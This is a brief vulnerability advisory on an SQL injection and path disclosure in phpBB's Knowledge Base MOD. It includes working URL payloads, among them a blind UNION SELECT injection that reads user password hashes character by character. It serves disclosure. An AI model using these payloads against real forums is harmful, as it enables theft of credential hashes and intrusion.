phpBB - Knowledge Base MOD - SQL-Injection and Full Path Disclosure
###########################################################
# phpBB - Knowledge Base MOD #
# SQL-Injection vulnerability and Full Path Disclosure #
# #
# Discovered by [R] and deluxe89 #
###########################################################
Discussion:
The phpbb - Knowledge Base MOD has a relatively hard to exploit SQL-Injection
vulnerability. However, an attacker can exploit this bug and receive
informations from the database.
The Bug:
The script doesn't filter the cat variable.
If we apply something wrong here:
/kb.php?mode=cat&cat='
We will get an error similar to this:
Could not obtain category data
DEBUG MODE
SQL Error : 1064 You have an error in your SQL syntax
SELECT * FROM phpbb_kb_categories WHERE category_id = \'
Line : 131
File : /here/is/the/full/path/functions_kb.php
/kb.php?mode=cat&cat=0+UNION+SELECT+0,0,0,0,0,0+FROM+phpbb_users+WHERE+1=0
No match: Categorie doesn't exist.
/kb.php?mode=cat&cat=0+UNION+SELECT+0,0,0,0,0,0+FROM+phpbb_users
Match: DEBUG MODE - SQL-Error
Therefor the only thing an attacker can find out is whether a row is matched or
not.
Exploit:
The attacker may compare the informations in the database with test values.
Example:
0+UNION+SELECT+0,0,0,0,0,0+FROM+phpbb_users+WHERE+user_id=2+AND+ascii(substring(user_password,1,1))=97
If it returns an SQL-Error, the first character of the hash is an 'a'.
Exploit available at the websites below.
Patch:
No patch available by now.
Greetz to madinfect, reddi, darkkilla, EaTh, Astovidatu and Doc
www.security-project.org
www.batznet.com